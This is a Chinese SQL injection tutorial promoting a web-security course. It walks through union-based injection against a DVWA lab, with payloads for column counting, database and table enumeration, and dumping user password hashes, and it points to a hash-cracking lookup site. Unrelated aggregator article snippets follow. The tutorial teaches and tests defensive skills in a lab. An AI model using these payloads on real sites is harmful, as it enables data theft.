web 漏洞入门之 —— SQL 注入教程

article/2025/10/12 5:48:45

SQL 注入是最常见、最被人们熟知的 web 漏洞。根据百科的解释:所谓SQL注入,就是通过把SQL命令,插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

比如某个公司有一个员工管理系统,里面存储员工的许多信息,每个员工只要输入自己的工号就可查询自己相关信息。张三是这个公司的一个开发人员,他突发好奇的想输入李四的工号10001是否可以成功查询,结果他失败了,因为系统有工号和身份的互相校验。于是他在工号后面加上了一个' OR 'a'='a,没想到成功返回了数据,他成功获取到了他人的许多敏感信息。

这就是 SQL 注入攻击的典型场景,由于程序员在开发数据库中,没有对用户输入数据进行校验、转义、限制等处理,导致攻击者可以通过输入恶意字符串去获取数据库中的数据。先前的很多影视网站的 VIP 会员密码就是通过类似的方式泄漏的。

今天我们测试对一个有 SQL 注入漏洞的网站进行攻击。因为类似的渗透测试过程在没有经过对方允许的情况下,是属于违法的!所以我们为大家准备了实验环境和靶机,你可以拿它当小白鼠,点击阅读原文即可体验。

SQL 注入攻击步骤

通常来说,SQL 注入攻击可以分为以下 5 个步骤:

  • 寻找注入点:指找到存在 SQL 注入的参数,SQL 注入大多发生在 GET 或 POST 请求的参数中,当然也有可能发生在其他地方,例如 UserAgent、Cookie 等

  • 判断注入类型 / 数据库类型:SQL 注入按照不同的分类标准,可以分成不同的种类。

    • 按照参数类型可分为两种:数字型和字符型。

    • 根据数据库返回的结果,可分为回显注入、报错注入、盲注。

    • 按照注入方法,还可以分为联合注入、堆叠注入、宽字节注入、延时注入等。

  • 猜解数据库名:猜解后台数据库的库名

  • 猜解数据表名:成功猜解到数据库名称后,进一步猜解某一个特定数据库中数据表的名称

  • 猜解数据字段名:最后是某个特定数据库中特定数据表中的字段,因为获取到字段才能查询数据

使用SQL 注入进行爆库 

我们先通过一个实验,让你更加清楚的理解 SQL 注入攻击的全过程,然后再针对「如何寻找注入点」和「如何判断注入类型」这两部分做详细的讲解。

首先,在终端中执行如下命令快速部署实验环境:

# 适用于 Ubuntu 20.04 4G VNC 环境
curl 'https://labfile.oss.aliyuncs.com/courses/3471/3471-sql-init-1.sh' > ~/3471-sql-init-1.sh;chmod +x ~/3471-sql-init-1.sh;./3471-sql-init-1.sh

然后打开桌面上的 Firefox 浏览器,访问以下网址 :

http://localhost/dvwasql

点击 create/Reset Database 创建数据库:

稍微等待几秒后,会自动跳转到登录界面,默认用户名为 admin 密码为 password

为了让我们更容易理解 SQL 注入的原理,所以先手动将 Security 级别调整为 low,注意需要点击 Submit 使设置生效:

第一步:寻找注入点

点击左侧的 SQL injection 页面开始注入:

先输入 1 ,查看回显 (URL 中 ID=1,说明 php 页面通过 get 方法传递参数):

那实际上后台执行了什么样的 SQL 语句呢?点击 view source 查看源代码:

可以看到,实际执行的 SQL 语句是:

SELECT first_name, last_name FROM users WHERE user_id = '1';

在参数 id 后面加一个单引号试试:

可以看到,返回了数据库报错信息,说明此处存在 SQL 注入漏洞。

至于为什么能判断存在 SQL 注入,后文会细讲。

第二步:确定注入类型

我们使用最简单的「联合查询注入」来进行演示。

联合查询的语法如下:

SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2;

union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。

但当使用 union select 的时候,需要保证前后查询的列数相同,例如:

SELECT A, B FROM users WHERE user_id = '1' union select C, D;

Union 前半部分查询了 A、B 两个字段,Union 后半部分也只能查询 C、D 两个字段,否则就会报错。

但现在有一个问题:我们还不知道 Union 的前半部分查询的字段数是多少?

这个时候就需要用到 order by 来查询字段数了。在输入框中输入 1' order by 1#,实际执行的 SQL 语句就会变成:

SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;
# 按照 MySQL 语法,# 后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误

这条语句的意思是查询 users 表中 user_id 为 1 的数据并按第一字段排行。

输入 1' order by 1# 和 1' order by 2# 时都返回正常:

当输入 1' order by 3# 时,返回错误:

由此可知,users 表中只有两个字段,数据为两列。

知道字段数为 2 之后,接下来就可以使用 union select 联合查询继续获取信息。

输入以下进行查询:

1' union select version(),@@version_compile_os#
  • version() 获取当前数据库版本.

  • @@version_compile_os 获取当前操作系统。

实际执行的 SQL 语句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;

通过上图返回信息,我们又成功获取到:

  • 当前数据库版本为 : 10.5.8-MariaDB-1:10.5.8+maria~focal

  • 当前操作系统为 : debian-linux-gnu

第三步:查询数据库名

查询数据库名的方法非常简单,只需要执行以下语句进行查询即可 :

1' union select database(),user()#
  • database() 将会返回当前网站所使用的数据库名字.

  • user() 将会返回执行当前查询的用户名.

实际执行的 SQL 语句是 :

SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#`;

通过上图返回信息,我们成功获取到:

  • 当前网站使用数据库为 dvwa

  • 当前执行查询用户名为 root@localhost

第四步:查询数据库表名

接下来我们尝试获取 dvwa 数据库中的表名。

information_schema 是 mySQL 自带的一张表,这张数据表保存了 MySQL 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。

我们输入以下语句进行查询:

1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#

实际执行的 SQL 语句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;

通过上图返回信息,我们可以知道以下信息:

  • dvwa 数据库有 2 个数据表

  • 表名为 guestbook 和 users

第五步:猜解数据库字段名及爆库

接下来我们继续猜解数据库表中的字段名,因为需要知道字段名,才能查询数据库中存储的数据。

我们输入以下语句查询 users 表中的字段信息:

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

从输出结果可知,users 表中有 8 个字段,分别是 user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

直接告诉我们,这些字段中最敏感的是 user,password 这两个字段,所以输入:1' union select user,password from users#进行查询。

实际执行的 SQL 语句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;

可以看到成功爆出用户名、密码,密码采用 md5 进行加密,可以到 https://www.cmd5.com/ 查询解密:

总结

通过实战的演练,相信大家已经理解了通过 SQL 注入来爆破数据库的方法和流程,最后我们再梳理一下比较重要的知识点:

  • SQL 注入产生的原因

  • SQL 注入攻击的分类

  • SQL 注入爆库攻击的 5 个步骤

上面的内容来自蓝桥云课《Web 漏洞实战:从入门到精通》课程,课程为大家提供了配套的实验环境和靶机,省去本地搭建环境和因法律问题而无法练习的苦恼。

除了 SQL 注入攻击,课程还详细介绍了 文件包含漏洞、 跨站脚本 (XSS) 漏洞、文件上传漏洞、命令注入漏洞、代码注入漏洞、目录遍历漏洞 的原理、技巧和实战流程,非常适合以下人群:

  • 初级渗透测试工程师

  • 初级安全服务工程师

  • 对 Web 安全领域感兴趣的新手朋友

  • 就读于《信息安全》专业的学生

课程地址:

https://www.lanqiao.cn/courses/3471

课程大纲:

课程展示

  • 针对每一个 Web 漏洞,课程会从代码层面讲解漏洞产生的原因,帮助你更好的理解漏洞的本质:

  • 每个章节均搭配完全在线的实战实验环境,省去自己本地搭建实验环境的烦恼:

  • 每章节均包含详细的实验步骤,手把手带你完成实验:

  • 还会讲解漏洞利用遇到限制时的绕过方法,满满的成就感:

课程地址:

https://www.lanqiao.cn/courses/3471

???????????? 点击文末的「阅读原文」,免费试学课程内容~


http://chatgpt.dhexx.cn/article/AiaGEe9d.shtml

相关文章

SQL注入基础教程

注:本篇不讲关于sql-labs的搭建,如有需要请私信我,我将会出一期详细的配置教程 SQL注入基础教程 数据库的结构注释符SQL注入之基础注入 数据库的结构 在学习数据库之前,我们首先要了解数据库的结构。 一般数据库由三个部分组成&…

SQL 注入教程:通过示例学习

数据是信息系统最重要的组成部分之一。组织使用数据库驱动的 Web 应用程序从客户那里获取数据。SQL是结构化查询语言的首字母缩写。它用于检索和操作数据库中的数据。 什么是 SQL 注入? SQL 注入是一种攻击动态 SQL 语句以注释掉语句的某些部分或附加始终为真的条…

sql注入详解

目录 前言? ? 一、漏洞原因分析 二、漏洞危害 三、sql注入防范 四、如何挖掘sql注入漏洞 五、常见的注入手法 联合查询(union注入) 报错注入 基于布尔的盲注 基于时间的盲注 HTTP头注入 宽字节注入 堆叠查询 二阶注入 六、sql注入getshell的几种方式 前言 结…

SQL注入教程

目录 基础sql语法基础注释sql注入漏洞产生的条件 sql注入的分类基于从服务器收到的响应基于数据库种类基于如何处理输入的SQL查询(数据类型)参数位置注入方法注入流程 万能密码ACCESS注入流程判断方法注入实战 MSSQL注入流程默认数据库函数注入过程 MySql注入(重头戏…

SQL注入基本教程

注:只是自己学习记录,若有不对的地方请指出,文章有过一次修改,修改了关于order by函数的知识点 个人小站 SQL注入基本教程 数据库的结构注释符SQL注入简单教程 数据库的结构 学习SQL注入首先要知道数据库的结构 数据库由三个部分…

Sql注入的入门教程

Sql注入比较常见的漏洞之一,例用程序员的漏洞来进行无账号的登陆,篡改数据库。任何客户端可控,传参数到服务端的变量,和数据库交互,都有可能存在sql注入 原理 用户通过构造sql语句来模仿服务器发向服务器的语句&…

ImageJ 插入插件和基本教程

文章目录 前言一、ImageJ的下载二、ImageJ的安装三、给ImageJ添加自定义插件四、ImageJ闪退怎么办 前言 该软件是一个使用Java语音编写的图像处理和分析软件。ImageJ基于插件架构体系设计,可以通过编写插件对其功能进行扩展 一、ImageJ的下载 这款软件是完完全全免…

FIJI (ImageJ) 图像处理合集

1.更改伪彩颜色 ImageJ可以打开CAI格式,尼康的2084的原始格式等等。 将图片直接拖拽到imageJ软件上。 会弹出一个窗口 这个窗口就是告诉我们:关于这个图像的原始格式是否需要进行设置。通常使用默认的,点击Ok。 就可以打开这个图像 如果打…

ImageJ -介绍与安装

写在开头 ImageJ,一款免费却又极其强大的图像处理软件。百科 但很不幸的是,这款软件对于电脑小白而言,可能并不容易上手。 看一下这个软件的界面就知道了。 反正我第一打开的时候就直接想关掉,这些个 icon 根本不知道干嘛的好吧…

JS操作图片的利器:Jimp VS GM

前段时间,笔者有一个项目需求,需要在一张图片上面添加文件,并另存为一张新的图片。刚开始的时候,笔者使用的是大名鼎鼎的jimp。 。 其功能能满足我的要求,而且其license是MIT,不依赖于第三方的可执行程序…

imgageJ开发【Java】

一.ImageJ简介 ImageJ是一款由NIH(National Institutes of Health,美国国家卫生研究院)发起,可用于Windows,Mac,OSX和Linux等操作系统的图像处理开元软件,ImageJ小巧,只有5MB左右,界面简洁&…

ImageIO类的使用

重点内容 (一) How to read an image from file or URL? 从本地文本读取图片 File sourceimage new File("c:\\mypic.jpg"); Image image ImageIO.read(sourceimage); 从网络上获取图片 URL url new URL("http://www.mkyong.com/image/mypic…

安装Image J 插件

1.下载imageJ,网址:https://imagej.net/Fiji/Downloads 2.解压 3.安装插件 (1)https://imagej.nih.gov/ij/plugins/index.html这个网址下载你需要的插件。打开toolsets或者tools。 ![在这里插入图片描述](https://img-blog.csd…

ImageJ工具使用简介

ImageJ工具使用简介 在以前的博文中也介绍过看Raw图的方法,自己平常也使用windows上的一些插值工具来看raw图,最近发现了一个宝贝----ImageJ,最让我惊喜的是它可以完美的在Windows以及Ubuntu中使用,避免了我抓取Raw图之后拷贝到w…

JavaSE小项目(小游戏)

JavaSE编写的小游戏 源码下载地址:https://github.com/ygsama/SmallGame 游戏名(难度) 满天星(★☆☆☆☆) 球球(★☆☆☆☆) 打字游戏(★☆☆☆☆) 汤姆猫(★★☆☆☆&#x…

JAVA小项目(6)javaSE

1 记帐本 1.1 使用技能点: 分支、循环、String的拼接 1.2 功能和效果 1.3 项目架构 public class Test {public static void main(String[] args) {while(true){System.out.println("-------欢迎使用记账系统--------");System.out.println("1.收…

java项目源码分享——适合新手练手的java项目

源码下载(实例一):jsp开发完整的博研图书馆后台管理系统,不使用框架开发的,太完美了 源码下载(实例二):javaWeb图书馆管理系统源码mysql版本 源码下载(实例三&#xff09…

java小项目 ATM机(简易版)

目录 说明 项目介绍 功能介绍 结构图 各模块代码 登录界面 服务选择界面 存取款界面 修改密码模块 转账模块 总代码 说明 简单做了一个java的ATM机项目、本项目只能作为一个简单的运行程序。因为没有学到数据库,文件等内容,没有存储功能&…

适合新手练习的 java 小项目

适合新手练习的 java 小项目 智能电话本 视频连接在下方↓ 包括源码也在下面 不要问我为什么推荐这个,因为我也只是一个新手,这个项目是纯命令行的, 不需要数据库和网页编程知识,做起来很简单,可以帮助新手巩固基础…